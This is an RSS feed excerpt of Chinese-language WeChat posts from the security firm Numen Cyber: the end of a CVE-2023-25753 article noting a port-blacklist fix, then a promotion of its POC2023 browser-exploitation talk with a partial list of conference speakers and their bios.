src="https://wechat2rss.xlab.app/img-proxy/?k=b1d9edd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEUM3KPEv9ZsicZc5tqtiaPiaTDCTmEe2ia88MbTRrzia8OTz6loOY3pK5xBPw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n28" mdtype="paragraph"><span style=";"><strong style=";">修复</strong></span></p><p cid="n29" mdtype="paragraph"><span style=";">最新版本中对端口做了黑名单限制</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.954070981210856" data-s="300,640" style="" data-type="png" data-w="958" src="https://wechat2rss.xlab.app/img-proxy/?k=0f2908a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEUYOkH5kYVDLmhibiaoEGhTY4XYw6KsHl0Kf7qIP2zzemYaTxnEMeLiaucw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n31" mdtype="paragraph"><span style=";"><strong style=";">参考</strong></span></p><p cid="n32" mdtype="paragraph"><span style=";"><a href="https://www.cve.org/CVERecord?id=CVE-2023-25753" target="_blank">https://www.cve.org/CVERecord?id=CVE-2023-25753</a></span></p><p cid="n33" mdtype="paragraph"><span style=";"><a href="https://shenyu.apache.org/zh/docs/index" target="_blank">https://shenyu.apache.org/zh/docs/index</a></span></p><p><br/></p><section style="margin: 8px auto 16px;outline: 0px;letter-spacing: 0.544px;"><section style="margin-bottom: -29px;outline: 0px;display: flex;justify-content: flex-end;"><section style="outline: 0px;width: 25px;height: 0px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="margin-right: 10px;margin-bottom: 0px;margin-left: 10px;outline: 0px;letter-spacing: 0.544px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section><section data-autoskip="1" style="padding: 10px 15px;outline: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-tools="135编辑器" data-id="117004" style="outline: 0px;"><section data-role="outer" label="edit by 135editor" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><section style="margin-top: 20px;margin-bottom: 20px;margin-left: 10px;outline: 0px;display: flex;justify-content: flex-start;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;flex-shrink: 0;"><section style="outline: 0px;width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="padding-right: 7px;padding-left: 7px;outline: 0px;font-size: 16px;color: rgb(51, 51, 51);text-align: center;"><strong data-brushtype="text" style="outline: 0px;">关于 Numen Cyber</strong><strong data-brushtype="text" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;outline: 0px;"></strong></section></section></section></section></section></section></section></section><p style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></p><p style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。</span><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；</span><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></p><p style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。</span></p><p><br/></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;"><section data-tools="135编辑器" data-id="122336" style="outline: 0px;"><section style="margin-right: 10px;margin-left: 10px;outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section data-role="paragraph" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><br style="outline: 0px;"/></section></section></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section><p><br/></p><p style="outline: 0px;"><strong style="outline: 0px;"><span style="outline: 0px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space-collapse: preserve;"><br style="outline: 0px;"/></span></strong></p><p style="text-align: center;"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486128">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b08dcf13&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486128%26idx%3D1%26sn%3D4da813a5c43c28e2c00768f681cb2965%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Oct 2023 15:47:00 +0800</pubDate>
    </item>
    <item>
      <title>POC2023，Numen 议题 “Modern Browser Exploit Development”  欢迎关注</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486108&amp;idx=1&amp;sn=60abae499acb582d14ea20ead82f02a9</link>
      <description>当你使用浏览器打开一个恶意网站，黑客就已经拿到了你电脑的最高系统权限，Chrome的攻击链不管是web3世界，还是web2世界都有很强大的杀伤力，欢迎大家关注Numen实验室在POC2023上的议题。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2023-10-19 15:56</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>当你使用浏览器打开一个恶意网站，黑客就已经拿到了你电脑的最高系统权限，Chrome的攻击链不管是web3世界，还是web2世界都有很强大的杀伤力，欢迎大家关注Numen实验室在POC2023上的议题。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2678f255&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dFGXtiaFyEMWeKrBU1RU9TRqTZOibfbIqCJswTGNG8TvDIbWTeC2EnfMsMicdx0PoZyyjwgLqWMqGEQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0203045685279188" data-s="300,640" style="" data-type="png" data-w="197" src="https://wechat2rss.xlab.app/img-proxy/?k=777f6992&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dFGXtiaFyEMWeKrBU1RU9TRjfmUiaOY8DW2ciaEkWia4725td1QxJhIdyBanztfPD5aQwLZoSwmiagtBg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-size: 12px;font-family: &#34;PingFang SC&#34;;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-size: 17px;">    来自<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-family: &#34;Helvetica Neue&#34;;"> Numen Cyber </span>的<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-family: &#34;Helvetica Neue&#34;;"> POC2023 </span>议题已经公开，来自我们二进制实验室的研究员将在本次会议上揭秘如果</span><span style="color: rgb(171, 25, 66);"><strong><span style="font-size: 17px;">通过浏览器和操作系统漏洞的结合完成<span style="font-size: 17px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-family: &#34;Helvetica Neue&#34;;">Chrome</span>完整利用链，实现访问恶意链接即可导致系统最高权限被黑客攻破</span></strong></span><span style="font-size: 17px;">，你能想象到它的覆盖场景有多广，我们在<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-family: &#34;Helvetica Neue&#34;;">POC2023</span>等你。</span></p><p style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-size: 14px;font-family: &#34;PingFang SC&#34;;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="font-size: 17px;"><strong>本届<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-family: &#34;Helvetica Neue&#34;;">POC2023</span>全部演讲嘉宾列表：</strong></span></p><p style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-size: 14px;font-family: &#34;PingFang SC&#34;;color: rgb(0, 0, 0);letter-spacing: normal;text-wrap: wrap;"><span style="color: rgb(136, 136, 136);">（按字母顺序列出的演讲嘉宾姓名）</span></p><p><span style="font-size: 16px;text-decoration: underline;color: rgb(61, 167, 66);"><strong>Antonio Cocomazzi, &#34;10 years of Windows Privilege Escalation with Potatoes”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Antonio Cocomazzi</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">（又名 splinter_code）是 SentinelOne 的高级攻击性安全研究员。他专注于低级利用和 EDR（终端检测和响应）规避，在揭开Windows操作系统内部复杂性方面具有浓厚兴趣。<br/></span></p><p><span style="color: rgb(136, 136, 136);font-size: 15px;">Antonio 的主要研究重点在于识别针对Windows操作系统的新型攻击向量，并设计创新技术以在高度监控的环境中保持隐蔽。</span></p><p><span style="color: rgb(136, 136, 136);font-size: 15px;">除了在 SentinelOne 的工作，Antonio 还是一名活跃的独立研究员，不断寻找新的漏洞。他对逆向工程的热情涵盖了从解包复杂的恶意软件到解剖 Windows 内部组件。</span></p><p><span style="color: rgb(136, 136, 136);font-size: 15px;">他的专业知识已在国际舞台上得到认可，曾在BlueHat IL、Black Hat Asia、Insomni Hack 和 Hack In The Box 等著名安全会议上发表演讲。</span></p><p><span style="font-size: 16px;color: rgb(61, 167, 66);text-decoration: underline;"><strong><span style="text-decoration: underline;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">Avboy1337 &amp; yyjb &amp; vrk, &#34;Modern Browser Exploit Development”</span></strong></span><br/></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">avboy1337</span></strong><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(136, 136, 136);">（@frust93717815）专注于 Chrome 和 Linux 内核漏洞开发。<br/></span></p><p><strong><span style="font-size: 15px;color: rgb(136, 136, 136);">yyjb</span></strong><span style="font-size: 15px;color: rgb(136, 136, 136);"> 专注于 Windows 内核和协议漏洞。</span></p><p><strong><span style="font-size: 15px;color: rgb(136, 136, 136);">vrk </span></strong><span style="font-size: 15px;color: rgb(136, 136, 136);"> NumenCyber 安全研究实验室的经理。</span></p><p><span style="font-size: 15px;color: rgb(136, 136, 136);">我们专注于编写漏洞利用程序，特别是在野外的完美利用程序。</span></p><p><span style="font-size: 15px;color: rgb(136, 136, 136);">NumenCyber（@SG）实验室是总部位于新加坡的一家 WEB3 安全公司，其中二进制实验室专注于 android/Linux/Windows 内核和浏览器安全。</span></p><p><span style="font-size: 16px;color: rgb(61, 167, 66);"><strong><span style="color: rgb(61, 167, 66);font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;text-decoration: underline;">Dongok Kim &amp; SeungHyun Lee &amp; Insu Yun, &#34;One shot, Triple kill: Pwning all three Google kernelCTF instances with a single 1-day Linux vulnerability”</span></strong></span><br/></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.034em;">Dongok Kim</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.034em;"> 是 KAIST 黑客实验室的硕士研究生。他在 KAIST 的计算机与电子工程学院获得了学士学位。他对一般系统安全感兴趣，包括软件安全、二进制利用和嵌入式系统安全。目前，他专注于 Linux 内核安全，特别是内核漏洞自动化利用和内核漏洞分类。他也是一名有竞争力的 CTF（Capture The Flag）玩家，经常代表 KAIST GoN 和 The Goose 团队参赛。他参加了几个全球/本地的 CTF 比赛，并获得了奖项。</span><br/></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">SeungHyun Lee</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 KAIST 的本科生，目前在黑客实验室担任研究实习生。他的研究重点是系统安全、二进制分析、自动漏洞发现和利用生成。他也是 KAIST GoN 的活跃 CTF 玩家，同时是跨国 CTF 团队 zer0pts 的成员。</span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Insu Yun</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 KAIST 的助理教授，目前领导黑客实验室。他对系统安全有广泛兴趣，特别是二进制分析、自动漏洞检测和自动漏洞利用生成。他的工作已经发表在IEEE安全与隐私、USENIX 安全和 USENIX OSDI 等主要计算机会议上。特别是，他的研究在2018年赢得了 USENIX 安全和 OSDI 的最佳论文奖。</span></p><p><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">除了研究，他还以黑客专家的身份参加了几场黑客比赛。特别是，他通过破解 Apple Safari 赢得了2020年的 Pwn2Own 比赛，并在2015年和2018年赢得了 DEFCON CTF，这是世界黑客比赛。</span></p><p><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">在加入 KAIST 之前，他于2020年从佐治亚理工学院获得了计算机科学博士学位。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Ignat Korchagin, &#34;Linux user namespaces: a blessing and a curse”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Ignat</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 Cloudflare 的一名系统工程师，主要从事 Linux、平台和硬件安全方面的工作。Ignat 感兴趣的领域包括密码学、黑客技术和底层编程。<br/></span></p><p><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">在加入 Cloudflare 之前，Ignat 曾在三星电子移动通信部门担任高级安全工程师。他的解决方案可以在许多旧款三星智能手机和平板电脑中找到。Ignat 的职业生涯始于乌克兰政府通信服务部门，担任安全研究员。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>James Forshaw, &#34;Building More Windows RPC Tooling for Security Research&#34;</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">James Forshaw</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">是 Google 的 Project Zero 项目中的一名安全研究员。他已经参与计算机硬件和软件安全工作超过10年，研究了各种不同的平台和应用程序。他对逻辑漏洞非常感兴趣，被列为 MSRC 的第一名研究员，并且是 Pwn2Own 和 Microsoft 缓解绕过奖金的获得者。他在多个安全会议上发表过演讲，包括 Black Hat USA、CanSecWest、Bluehat、HITB 和 Infiltrate。他还是即将出版的书《用 PowerShell 了解 Windows 安全内部》的作者，该书由 NoStarch Press 出版。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Mark Brand, &#34;MTE as Tested”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Mark Brand</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 Google 的 Project Zero 团队的软件工程师，该团队旨在减少因互联网上的有针对性的攻击而造成的损害。他目前的重点是网络浏览器安全。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>MJ0011, &#34;Navigating the Light and Darkness in the World of Vulnerabilities”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">MJ0011</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> Cyber-Kunlun 和 Kunlun Lab 的 CEO。前奇虎360 CTO，360Vulcan 团队的创始人。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Ned Williamson, &#34;Fuzzing as Reinforcement Learning”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Ned Williamson</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是 Google Project Zero 的一名安全研究员。他在利用 Chrome 和 iOS 方面有经验，并专注于新颖和深入的模糊测试技术。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Nikita Pupyshev, &#34;Evolution of Safari mitigations and bypasses in 2022”</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;">Nikita</span></strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 15px;"> 是一名独立安全研究员，拥有大约4年的安全研究经验。他主要关注 Apple 平台，但偶尔也会探索 Android/Linux 和嵌入式设备。他研究 WebKit 两年，不过现在正在尝试破解 XNU。</span></p><p><span style="color: rgb(61, 167, 66);text-decoration: underline;font-size: 16px;"><strong>Seth Jenkins, &#34;Exploiting null-derefs: Doing the impossible in the Linux kernel&#34;</strong></span></p><p><strong><span style="color: rgb(136, 136, 136);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica 